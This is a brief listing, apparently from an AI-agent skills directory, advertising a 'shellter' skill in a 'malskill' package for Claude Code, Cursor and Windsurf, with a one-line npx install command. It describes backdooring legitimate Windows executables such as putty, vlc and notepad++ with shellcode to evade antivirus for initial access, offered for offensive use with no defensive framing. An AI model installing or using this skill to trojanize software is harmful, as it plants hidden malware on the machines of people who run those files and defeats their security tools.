Shellter: dynamic shellcode injection tool that backdoors native Windows PE executables while preserving original functionality to evade AV detection. Use when trojanizing legitimate PE files (putty, vlc, notepad++) with custom shellcode payloads for initial access.
npx skillsauth add aeondave/malskill shellterInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
